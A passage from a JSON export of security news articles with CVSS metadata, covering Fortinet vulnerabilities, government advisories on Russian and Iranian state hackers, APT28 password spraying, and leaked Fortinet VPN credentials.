[CVE-2020-12812](<https://nvd.nist.gov/vuln/detail/CVE-2020-12812>), and [CVE-2019-5591](<https://nvd.nist.gov/vuln/detail/CVE-2019-5591>) to compromise systems belonging to government and commercial entities.\n\nIn the same month, Russian cybersecurity company Kaspersky [revealed](<https://ics-cert.kaspersky.com/reports/2021/04/07/vulnerability-in-fortigate-vpn-servers-is-exploited-in-cring-ransomware-attacks/>) that threat actors exploited the CVE-2018-13379 vulnerability in FortiGate VPN servers to gain access to enterprise networks in European countries to deploy the Cring ransomware.\n\n**_Update: _**Fortinet shared the following statement with The Hacker News:\n\n\u201cThe security of our customers is always our first priority. Fortinet recognizes the important role of independent security researchers who work closely with vendors to protect the cybersecurity ecosystem in alignment with their responsible disclosure policies. In addition to directly communicating with researchers, our disclosure policy is clearly outlined on the Fortinet PSIRT Policy page, which includes asking incident submitters to maintain strict confidentiality until complete resolutions are available for customers. As such, we had expected that Rapid7 hold any findings prior to the end of our 90-day Responsible disclosure window. We regret that in this instance, individual research was fully disclosed without adequate notification prior to the 90-day window. We are working to deliver immediate notification of a workaround to customers and a patch released by the end of the week.\u201d\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-18T03:41:00", "type": "thn", "title": "Unpatched Remote Hacking Flaw Disclosed in Fortinet's FortiWeb WAF", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2020-29015", "CVE-2021-22123"], "modified": "2021-08-19T06:50:20", "id": "THN:FCBB400B24C7B24CD6B5136FA8BE38D3", "href": "https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:44", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEivOb0--JbZm0DKk17OtegvDf0JMgVq1rnkokni7RLCsqEBf17tLvxhVDjVCC8yZeN6jpVJCkJlb3GTbW4f29ZlHKK9dZKnxCnVgFaE0N7nhOJe9r3HRvLR-reRBzNHAdx6aUoQDU5yI90E1LqRdEM3guLQQv95JsKCUSy1ZAoTckx4Q4_Vb6CxtXGe>)\n\nAmid renewed tensions between the U.S. and Russia over [Ukraine](<https://apnews.com/article/joe-biden-europe-russia-ukraine-geneva-090d1bd24f7ced8ab84907a9ed031878>) and [Kazakhstan](<https://thehill.com/policy/international/588860-tensions-between-us-russia-rise-over-military-involvement-in-kazakhstan>), American cybersecurity and intelligence agencies on Tuesday released a joint advisory on how to detect, respond to, and mitigate cyberattacks orchestrated by Russian state-sponsored actors.\n\nTo that end, the Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and National Security Agency (NSA) have laid bare the tactics, techniques, and procedures (TTPs) adopted by the adversaries, including spear-phishing, brute-force, and [exploiting known vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) to gain initial access to target networks.\n\nThe list of flaws exploited by Russian hacking groups to gain an initial foothold, which the agencies said are \"common but effective,\" are below \u2014\n\n * [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (FortiGate VPNs)\n * [CVE-2019-1653](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) (Cisco router)\n * [CVE-2019-2725](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) (Oracle WebLogic Server)\n * [CVE-2019-7609](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) (Kibana)\n * [CVE-2019-9670](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) (Zimbra software)\n * [CVE-2019-10149](<https://nvd.nist.gov/vuln/detail/CVE-2019-10149>) (Exim Simple Mail Transfer Protocol)\n * [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) (Pulse Secure)\n * [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) (Citrix)\n * [CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) (Microsoft Exchange)\n * [CVE-2020-4006](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) (VMWare)\n * [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) (F5 Big-IP)\n * [CVE-2020-14882](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) (Oracle WebLogic)\n * [CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>) (Microsoft Exchange, exploited frequently alongside [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>))\n\n\"Russian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber capabilities by compromising third-party infrastructure, compromising third-party software, or developing and deploying custom malware,\" the agencies [said](<https://www.cisa.gov/uscert/ncas/current-activity/2022/01/11/cisa-fbi-and-nsa-release-cybersecurity-advisory-russian-cyber>).\n\n\"The actors have also demonstrated the ability to maintain persistent, undetected, long-term access in compromised environments \u2014 including cloud environments \u2014 by using legitimate credentials.\"\n\nRussian APT groups have been historically observed setting their sights on operational technology (OT) and industrial control systems (ICS) with the goal of deploying destructive malware, chief among them being the intrusion campaigns against Ukraine and the U.S. energy sector as well as attacks exploiting trojanized [SolarWinds Orion updates](<https://thehackernews.com/2021/12/solarwinds-hackers-targeting-government.html>) to breach the networks of U.S. government agencies.\n\nTo increase cyber resilience against this threat, the agencies recommend mandating multi-factor authentication for all users, looking out for signs of abnormal activity implying lateral movement, enforcing network segmentation, and keeping operating systems, applications, and firmware up to date.\n\n\"Consider using a centralized patch management system,\" the advisory reads. \"For OT networks, use a risk-based assessment strategy to determine the OT network assets and zones that should participate in the patch management program.\"\n\nOther recommended best practices are as follows \u2014\n\n * Implement robust log collection and retention\n * Require accounts to have strong passwords\n * Enable strong spam filters to prevent phishing emails from reaching end-users\n * Implement rigorous configuration management programs\n * Disable all unnecessary ports and protocols\n * Ensure OT hardware is in read-only mode\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-12T09:14:00", "type": "thn", "title": "FBI, NSA and CISA Warns of Russian Hackers Targeting Critical Infrastructure", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-0688", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-01-12T10:47:49", "id": "THN:3E9680853FA3A677106A8ED8B7AACBE6", "href": "https://thehackernews.com/2022/01/fbi-nsa-and-cisa-warns-of-russian.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-09-16T04:03:41", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjUqmffIx48KtQdHxTXb4TQfvElel4yvoLc_Uq-nF3atp_DnKXEvX_r4s4FR-V9kItxokvkUgH3L-QP1uH3JrII_VtRNnXYXU3EYxwsreIbOgCkHKHN4AbWxtUPY5tKaH8u6YvYBd2oA_JReHSU1gNdaKY11tzzrlCHhUSTJzZr4yGRgnN-fUCAb2Mv/s728-e100/iranian-hackers.jpg>)\n\nThe U.S. Treasury Department's Office of Foreign Assets Control (OFAC) on Wednesday announced sweeping sanctions against ten individuals and two entities backed by Iran's Islamic Revolutionary Guard Corps (IRGC) for their involvement in ransomware attacks at least since October 2020.\n\nThe agency said the cyber activity mounted by the individuals is partially attributable to intrusion sets tracked under the names APT35, Charming Kitten, Nemesis Kitten, Phosphorus, and TunnelVision.\n\n\"This group has launched extensive campaigns against organizations and officials across the globe, particularly targeting U.S. and Middle Eastern defense, diplomatic, and government personnel, as well as private industries including media, energy, business services, and telecommunications,\" the Treasury [said](<https://home.treasury.gov/news/press-releases/jy0948>).\n\nThe Nemesis Kitten actor, which is also known as [Cobalt Mirage](<https://thehackernews.com/2022/05/iranian-hackers-leveraging-bitlocker.html>), [DEV-0270](<https://thehackernews.com/2022/09/microsoft-warns-of-ransomware-attacks.html>), and [UNC2448](<https://thehackernews.com/2022/09/iranian-apt42-launched-over-30.html>), has come under the scanner in recent months for its pattern of ransomware attacks for opportunistic revenue generation using Microsoft's built-in BitLocker tool to encrypt files on compromised devices.\n\nMicrosoft and Secureworks have characterized DEV-0270 as a subgroup of [Phosphorus](<https://thehackernews.com/2022/09/iranian-hackers-target-high-value.html>) (aka Cobalt Illusion), with ties to another actor referred to as [TunnelVision](<https://thehackernews.com/2022/02/iranian-hackers-targeting-vmware.html>). The Windows maker also assessed with low confidence that \"some of DEV-0270's ransomware attacks are a form of moonlighting for personal or company-specific revenue generation.\"\n\nWhat's more, independent analyses from the two cybersecurity firms as well as Google-owned [Mandiant](<https://thehackernews.com/2022/09/iranian-apt42-launched-over-30.html>) has revealed the group's connections to two companies Najee Technology (which functions under the aliases Secnerd and Lifeweb) and Afkar System, both of which have been subjected to U.S. sanctions.\n\nIt's worth noting that Najee Technology and Afkar System's connections to the Iranian intelligence agency were first flagged by an anonymous anti-Iranian regime entity called [Lab Dookhtegan](<https://thehackernews.com/2021/05/researchers-uncover-iranian-state.html>) [earlier](<https://mobile.twitter.com/LabDookhtegan2/status/1520355269695442945>) this [year](<https://mobile.twitter.com/LabDookhtegan2/status/1539960629867401218>).\n\n\"The model of Iranian government intelligence functions using contractors blurs the lines between the actions tasked by the government and the actions that the private company takes on its own initiative,\" Secureworks said in a [new report](<https://www.secureworks.com/blog/opsec-mistakes-reveal-cobalt-mirage-threat-actors>) detailing the activities of Cobalt Mirage.\n\nWhile exact links between the two companies and IRGC remain unclear, the method of private Iranian firms acting as fronts or providing support for intelligence operations is well established over the years, including that of [ITSecTeam (ITSEC), Mersad](<https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged>), [Emennet Pasargad](<https://thehackernews.com/2021/11/us-charged-2-iranians-hackers-for.html>), and [Rana Intelligence Computing Company](<https://thehackernews.com/2020/09/iranian-hackers-sanctioned.html>).\n\nOn top of that, the Secureworks probe into a June 2022 Cobalt Mirage incident showed that a PDF file containing the ransom note was created on December 17, 2021, by an \"Ahmad Khatibi\" and timestamped at UTC+03:30 time zone, which corresponds to the Iran Standard Time. Khatibi, incidentally, happens to be the CEO and owner of the Iranian company Afkar System.\n\nAhmad Khatibi Aghda is also part of the 10 individuals sanctioned by the U.S., alongside Mansour Ahmadi, the CEO of Najee Technology, and other employees of the two enterprises who are said to be complicit in targeting various networks globally by leveraging well-known security flaws to gain initial access to further follow-on attacks.\n\nSome of the [exploited flaws](<https://www.cisa.gov/uscert/ncas/alerts/aa22-257a>), according to a [joint cybersecurity advisory](<https://www.cisa.gov/uscert/ncas/current-activity/2022/09/14/iranian-islamic-revolutionary-guard-corps-affiliated-cyber-actors>) released by Australia, Canada, the U.K., and the U.S., as part of the IRGC-affiliated actor activity are as follows -\n\n * Fortinet FortiOS path traversal vulnerability ([CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>))\n * Fortinet FortiOS default configuration vulnerability ([CVE-2019-5591](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>))\n * Fortinet FortiOS SSL VPN 2FA bypass vulnerability ([CVE-2020-12812](<https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html>))\n * [ProxyShell](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207), and\n * [Log4Shell](<https://thehackernews.com/2021/12/new-apache-log4j-update-released-to.html>) (CVE-2021-44228, CVE-2021-45046, and/or CVE-2021-45105)\n\n\"Khatibi is among the cyber actors who gained unauthorized access to victim networks to encrypt the network with BitLocker and demand a ransom for the decryption keys,\" the U.S. government said, in addition to adding him to the FBI's [Most Wanted list](<https://www.fbi.gov/wanted/cyber/ahmad-khatibi-aghda>).\n\n\"He leased network infrastructure used in furtherance of this malicious cyber group's activities, he participated in compromising victims' networks, and he engaged in ransom negotiations with victims.\"\n\nCoinciding with the sanctions, the Justice Department separately [indicted](<https://www.justice.gov/usao-nj/pr/three-iranian-nationals-charged-engaging-computer-intrusions-and-ransomware-style>) Ahmadi, Khatibi, and a third Iranian national named Amir Hossein Nickaein Ravari for engaging in a criminal extortion scheme to inflict damage and losses to victims located in the U.S., Israel, and Iran.\n\nAll three individuals have been charged with one count of conspiring to commit computer fraud and related activity in connection with computers; one count of intentionally damaging a protected computer; and one count of transmitting a demand in relation to damaging a protected computer. Ahmadi has also been charged with one more count of intentionally damaging a protected computer.\n\nThat's not all. The U.S. State Department has also [announced monetary rewards](<https://www.state.gov/sanctioning-iranians-for-malicious-cyber-acts/>) of up to $10 million for any information about [Mansour, Khatibi, and Nikaeen](<https://rewardsforjustice.net/index/?jsf=jet-engine:rewards-grid&tax=cyber:3266>) and their whereabouts.\n\n\"These defendants may have been hacking and extorting victims \u2013 including critical infrastructure providers \u2013 for their personal gain, but the charges reflect how criminals can flourish in the safe haven that the Government of Iran has created and is responsible for,\" Assistant Attorney General Matthew Olsen said.\n\nThe development comes close on the heels of [sanctions](<https://thehackernews.com/2022/09/us-imposes-new-sanctions-on-iran-over.html>) imposed by the U.S. against Iran's Ministry of Intelligence and Security (MOIS) and its Minister of Intelligence, Esmaeil Khatib, for engaging in cyber-enabled activities against the nation and its allies.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-09-15T06:49:00", "type": "thn", "title": "U.S. Charges 3 Iranian Hackers and Sanctions Several Others Over Ransomware Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-09-16T03:17:57", "id": "THN:802C6445DD27FFC7978D22CC3182AD58", "href": "https://thehackernews.com/2022/09/us-charges-3-iranian-hackers-and.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2021-07-07T11:01:50", "description": "U.S. and U.K. authorities are warning that the APT28 advanced-threat actor (APT) \u2013 a.k.a. Fancy Bear or Strontium, among other names \u2013 has been using a [Kubernetes](<https://threatpost.com/windows-containers-malware-targets-kubernetes/166692/>) cluster in a widespread campaign of brute-force password-spraying attacks against hundreds of government and private sector targets worldwide.\n\nThe joint alert ([PDF](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>)) \u2013 posted on Thursday by the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), the FBI, and the U.K.\u2019s National Cyber Security Centre (NCSC) \u2013 attributes the campaign to the APT group, which has [long been suspected](<https://threatpost.com/microsoft-says-russian-apt-group-behind-zero-day-attacks/121722/>) of having ties to the General Staff Main Intelligence Directorate (GRU) arm of Russia\u2019s military intelligence.\n\nThe attacks have been launched since at least mid-2019 through early 2021 and are \u201calmost certainly still ongoing,\u201d according to the advisory.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe threat actor has targeted \u201ca significant amount\u201d of its activity at organizations using [Microsoft Office 365 cloud services](<https://threatpost.com/microsoft-office-365-attacks-google-firebase/163666/>), authorities warned.\n\nThe attackers are after the passwords of people who work at sensitive jobs in hundreds of organizations worldwide, including government and military agencies in the U.S. and Europe, defense contractors, think tanks, law firms, media outlets, universities and more.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/02101634/APT28-targets-e1625235408497.jpg>)\n\nAPT28 targets being bombarded by brute-force attacks. Source: CISA advisory.\n\nOnce the threat actors get valid credentials, they\u2019re using them for initial access, persistence, privilege escalation and defense evasion, among other things. The actors are using the passwords in conjunction with exploits of publicly known vulnerabilities, such as ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) \u2013 a vulnerability in the [control panel of Microsoft\u2019s Exchange Server](<https://threatpost.com/microsoft-exchange-exploited-flaw/159669/>) \u2013 and [ CVE 2020-17144](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17144>), also found in Exchange Server. Both these and other vulnerabilities can be used for remote code execution (RCE) and further access to target networks.\n\nAfter APT28 gains remote access, it uses a slew of well-known tactics, techniques and procedures (TTPs) \u2013 including HTTP(S), IMAP(S), POP3, and [NTLM](<https://threatpost.com/microsoft-addresses-ntlm-bugs-that-facilitate-credential-relay-attacks/126752/>) (a suite of Microsoft security protocols used for authentication \u2013 in addition to Kubernetes-powered password-spraying in order to gain lateral movement, to evade defenses and to sniff out more information from the target networks.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/02103812/TTPs--e1625236705468.jpg>)\n\nExample of several TTPs used together as part of this type of brute-force campaign. Source: CISA advisory.\n\nGiven how vastly different the target networks\u2019 structures are, the actors are using an equally diverse mix of TTPs. The alert included 21 samples of known TTPs. One example is the TTPs used to exploit public-facing apps: APT28 has been tracked using the two previously mentioned bugs to gain privileged RCE on vulnerable Microsoft Exchange servers, which in some case happened after valid credentials were identified via password spray, given that exploitation of the vulnerabilities requires authentication as a valid user.\n\n## How Kubernetes Fits In\n\nAuthorities said that to obfuscate its true origin and to provide \u201ca degree of anonymity,\u201d the Kubernetes cluster used in these attacks normally routes brute-force authentication attempts through Tor and commercial [VPN services](<https://threatpost.com/darkside-pwned-colonial-with-old-vpn-password/166743/>), including CactusVPN, IPVanish, NordVPN, ProtonVPN, Surfshark and WorldVPN. If they\u2019re not using [Tor](<https://threatpost.com/unencrypted-mobile-traffic-tor-network-leaks-pii/149200/>) or a VPN, the actors are sometimes using nodes in the Kubernetes cluster.\n\nGiven the \u201cscalable nature of the password spray-capability,\u201d specific indicators of compromise (IOC) can be easily altered to bypass IOC-based mitigation, the advisory explained. Thus, while the advisory lists specific indicators, authorities also advised organizations to consider denying all inbound traffic from known Tor nodes and public VPN services to Exchange servers or portals that don\u2019t normally see that kind of access.\n\n## Mitigations\n\nBeyond authorities\u2019 suggestion to consider shutting off the spigot on Tor and VPN services where that makes sense, the advisory also listed a number of standard and not-so-standard mitigations, summed up in an executive summary:\n\n\u201cNetwork managers should adopt and expand usage of multi-factor authentication to help counter the effectiveness of this capability. Additional mitigations to ensure strong access controls include time-out and lock-out features, the mandatory use of strong passwords, implementation of a Zero Trust security model that uses additional attributes when determining access, and analytics to detect anomalous accesses.\u201d\n\nBut one expert \u2013 Tom (TJ) Jermoluk, CEO and co-founder of Beyond Identity, raised a hairy eyeball at the notion that stronger passwords can do anything to protect against password spraying, particularly when it comes on top of a concerted effort to gather valid credentials.\n\n\u201cRussian GRU agents and other state actors like those involved in SolarWinds \u2013 and a range of financially motivated attackers (e.g., ransomware) \u2013 all use the same \u2018password spraying\u2019 brute force techniques,\u201d he told Threatpost in an email on Friday. \u201cWhy? Because they are so effective. Unfortunately, a misunderstanding of this technique is leading to shockingly flawed advice like that given in the NSA advisory which, in part, recommends \u2018mandating the use of stronger passwords.'\u201d\n\nHe added, \u201cThe credential-gathering that preceded the password spraying campaign most certainly collected short and strong passwords. And the Russian Kubernetes cluster used in the attack was capable of spraying \u2018strong passwords.'\u201d\n\n## The Continuing Threat\n\nOn Friday, Russia\u2019s embassy in Washington issued a statement on [Facebook](<https://www.facebook.com/RusEmbUSA>) in which it \u201ccategorically\u201d rejected the allegations, noting that \u201cWe emphasize that fighting against cybercrime is an inherent priority for Russia and an integral part of its state policy to combat all forms of crime.\u201d\n\nJust a few of the recent campaigns attributed to Russia\u2019s military unit:\n\n**April 2021**: The [NSA linked APT29 ](<https://threatpost.com/nsa-security-bugs-active-nation-state-cyberattack/165446/>)to Russia\u2019s Foreign Intelligence Services (SVR), as the U.S. formally attributed the recent [SolarWinds supply-chain attacks](<https://threatpost.com/solarwinds-orion-bug-remote-code-execution/163618/>) to the SVR and issued sanctions on Russia for cyberattacks and what President Biden called out as interference with U.S. elections.\n\n**November 2020: **Microsoft reported that APT28 joined in the feeding frenzy as one of three major APTs that [went after pharma](<https://threatpost.com/russia-north-korea-attacking-covid-19-vaccine-makers/161205/>) and clinical organizations involved in COVID-19 research.\n\n**September 2020**: Microsoft issued a warning that members of the Russian military unit were attempting to [harvest Office 365](<https://threatpost.com/apt28-theft-office365-logins/159195/>) credentials in the runup to U.S. elections, targeting mainly election-related organizations. The company noted at the time that the group had attacked more than 200 organizations last year, including political campaigns, advocacy groups, parties and political consultants. Those targets included think-tanks such as The German Marshall Fund of the United States, The European People\u2019s Party, and various U.S.-based consultants serving Republicans and Democrats.\n\nSaying that we can\u2019t let down our guards would be quite the understatement, according to Check Point spokesperson Ekram Ahmed: \u201cGRU continues to be a threat that we can\u2019t ignore,\u201d he observed to Threatpost on Friday. \u201cThe scale, reach and pace of their operations are alarming, especially with the 2021 Summer Olympics around the corner.\u201d\n\nIn fact, in October 2020, the U.K.\u2019s NCSC, in a joint operation with U.S. intelligence, said that that\u2019s exactly what was in the works, accusing Russian military intelligence services of [planning a cyberattack](<https://www.theguardian.com/world/2020/oct/19/russia-planned-cyber-attack-on-tokyo-olympics-says-uk>) on the [Japanese-hosted Olympics](<https://www.sportingnews.com/au/other-sports/news/tokyo-olympic-games-2021-will-they-go-ahead/1gv928rhuuo0o1ucb6481onp4m>), scheduled to start in three weeks on July 23 after having been postponed due to the pandemic.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {}, "published": "2021-07-02T16:14:14", "type": "threatpost", "title": "Kubernetes Used in Brute-Force Attacks Tied to Russia\u2019s APT28", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-17144"], "modified": "2021-07-02T16:14:14", "id": "THREATPOST:B25070E6CF075EEA6B20C4D8D25ADBE8", "href": "https://threatpost.com/kubernetes-brute-force-attacks-russia-apt28/167518/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-09-10T13:33:05", "description": "Credentials pilfered from 87,000 unpatched Fortinet SSL-VPNs have been posted online, the company has [confirmed](<https://www.fortinet.com/blog/psirt-blogs/malicious-actor-discloses-fortigate-ssl-vpn-credentials>).\n\nOr then again, maybe the number is far greater. On Wednesday, [BleepingComputer](<https://www.bleepingcomputer.com/news/security/hackers-leak-passwords-for-500-000-fortinet-vpn-accounts/>) reported that it\u2019s been in touch with a threat actor who leaked a list of nearly half a million Fortinet VPN credentials, allegedly scraped from exploitable devices last summer.\n\nThe news outlet has analyzed the file and reported that it contains VPN credentials for 498,908 users over 12,856 devices. BleepingComputer didn\u2019t test the credentials but said that all of the IP addresses check out as Fortinet VPN servers.\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nAccording to analysis done by [Advanced Intel](<https://www.advintel.io/post/groove-vs-babuk-groove-ransom-manifesto-ramp-underground-platform-secret-inner-workings>), the IP addresses are for devices worldwide. As the chart below shows, there are 22,500 victimized entities located in 74 countries, with 2,959 of them being located in the US.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/09/09180501/distribution-e1631225115765.jpg>)\n\nThe geographical distribution of the Fortinet VPN SSL list. Source: Advanced Intel.\n\nUPDATE: Threatpost reached out to Fortinet for clarification on how many devices were compromised. A spokesperson\u2019s reply reiterated the statement put out on Wednesday:\n\n\u201cThe security of our customers is our first priority. Fortinet is aware that a malicious actor has disclosed on a dark web forum, SSL-VPN credentials to access FortiGate SSL-VPN devices. The credentials were obtained from systems that have not yet implemented the patch update provided in May 2019. Since May 2019, Fortinet has continuously communicated with customers urging the implementation of mitigations, including corporate blog posts in [August 2019](<https://urldefense.proofpoint.com/v2/url?u=https-3A__www.fortinet.com_blog_business-2Dand-2Dtechnology_fortios-2Dssl-2Dvulnerability&d=DwMGaQ&c=tEbGsWWjqkBSpaWdXc_mdMSanI1bDu-FKXiKGCfVmPM&r=ci047yKZbNETIRLbYhPR9hvS9MgdS6HahLetj-MiY5k&m=S-tLJEaNHed7zOH8JaLd3mVoBNXqYMeUqJMrJaXLE9s&s=LGgVh3l8kre7r4f1ssl1_Kz9MXkRjaAznfUi1BMjzpc&e=>), [July 2020](<https://urldefense.proofpoint.com/v2/url?u=https-3A__www.fortinet.com_blog_business-2Dand-2Dtechnology_atp-2D29-2Dtargets-2Dssl-2Dvpn-2Dflaws&d=DwMGaQ&c=tEbGsWWjqkBSpaWdXc_mdMSanI1bDu-FKXiKGCfVmPM&r=ci047yKZbNETIRLbYhPR9hvS9MgdS6HahLetj-MiY5k&m=S-tLJEaNHed7zOH8JaLd3mVoBNXqYMeUqJMrJaXLE9s&s=F9W4tauf4zFHFuZbvTYHmF2Y2b_tHI0htVTpiF6kRwM&e=>), [April 2021](<https://urldefense.proofpoint.com/v2/url?u=https-3A__www.fortinet.com_blog_psirt-2Dblogs_patch-2Dvulnerability-2Dmanagement&d=DwMGaQ&c=tEbGsWWjqkBSpaWdXc_mdMSanI1bDu-FKXiKGCfVmPM&r=ci047yKZbNETIRLbYhPR9hvS9MgdS6HahLetj-MiY5k&m=S-tLJEaNHed7zOH8JaLd3mVoBNXqYMeUqJMrJaXLE9s&s=m_k7PDQ0L4L0_OvdKQgGF5LkRVde6Q9EjgVXWtyg7sY&e=>) and [June 2021](<https://www.fortinet.com/blog/psirt-blogs/prioritizing-patching-is-essential-for-network-integrity>) For more information, please refer to our latest [blog](<https://www.fortinet.com/blog/psirt-blogs/malicious-actor-discloses-fortigate-ssl-vpn-credentials>) and [PSIRT](<https://www.fortiguard.com/psirt/FG-IR-18-384>) advisory. We strongly urge customers to implement both the patch upgrade and password reset as soon as possible.\u201d\n\n## A Creaky Old 